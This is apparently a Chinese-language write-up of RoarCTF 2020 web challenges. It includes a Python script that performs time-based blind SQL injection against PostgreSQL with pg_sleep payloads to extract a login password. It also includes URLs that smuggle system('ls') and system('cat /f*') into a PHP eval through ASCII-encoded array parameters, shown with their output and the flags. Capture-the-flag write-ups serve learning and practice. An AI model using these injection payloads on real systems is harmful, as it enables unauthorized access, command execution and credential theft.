Contents

RoarCTF2020 Writeup

你能登陆成功吗

PostgreSQL盲注

1
2
SELECT * FROM users WHERE username='${username}' AND password='${password}'
//flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
def timeInjection():
    URL = "http://139.129.98.9:30005/"
    result = ""
    payload = "1'||(case/**/when/**/(coalesce(ascii(substr((select/**/password),{},1)),0)={})/**/then/**/pg_sleep(2)/**/else/**/pg_sleep(0)/**/end)--"
    for i in range(1,100):
        for j in range(32,128):
            tmp_payload = payload.format(i,j)
            params = {
                'username':"admin",
                'password':tmp_payload
            }
            start_time = time.time()
            requests.post(url = URL, data=params)
            if  time.time() - start_time > 2:
                result += chr(j)
                print(result)
                print(time.time() - start_time)
                break
            else:
                pass
timeInjection()
#密码:Pg5QL1sF4ns1N4T1n9

https://leonsec.gitee.io/images/B8keLkpEO6WdvLaf.png

你能登陆成功吗-Revenge

PostgreSQL盲注

1
flag{5f2561bb-685e-4b36-927b-89ec76fec285}

exp:上面的exp端口改成30007即可

密码:S0rryF0Rm1st4ke111

https://leonsec.gitee.io/images/rM0fjzrtyEf6meUD.png

badhack

本来看到中间这算法,丢给20000s师傅去逆一下写个解密脚本,然后他还没看我就绕过了,抢了个二血,感觉打了个非预期,后来看了Nu1l的wp都是直接写逆算法解的,也不知道是不是非预期。。

注释有提示bond007.php

访问bond007.php给了源码,第47行可控GET传参cmd,然后第48行限制要求传入数组,且要求传入42个元素,第108到111行,遍历拼接数组各键值给cmd,最后eval执行

一开始尝试传入cmd[0]cmd[41] 发现经过算法后,cmd[0~41]内容不可控

但大于41后的数组内容可控,且本地尝试过程中,发现由于它算法原因,产生了个小trick

1
var_dump($input);//结果如下

https://leonsec.gitee.io/images/akvV1rBxT16tJYy6.png

可控数组在$input中排在不可控数组前,我们可以在进行eval时使用多行注释忽略其后部分无用字符

然后一个个传入ascii构造即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
system('ls')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=39&cmd[63]=41&cmd[64]=59&cmd[65]=47&cmd[66]=42&cmd[15]=100&cmd[16]=100&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//bond007.php index.php

system('ls /')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=32&cmd[63]=47&cmd[64]=39&cmd[65]=41&cmd[66]=59&cmd[67]=47&cmd[68]=42&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

system('cat /f*')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=99&cmd[61]=97&cmd[62]=116&cmd[63]=32&cmd[64]=47&cmd[65]=102&cmd[66]=42&cmd[67]=39&cmd[68]=41&cmd[69]=59&cmd[70]=47&cmd[71]=42&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//flag{1e6679596f82b91745d7b0f22489f773}

https://leonsec.gitee.io/images/65L5s5mEEDw2epcY.png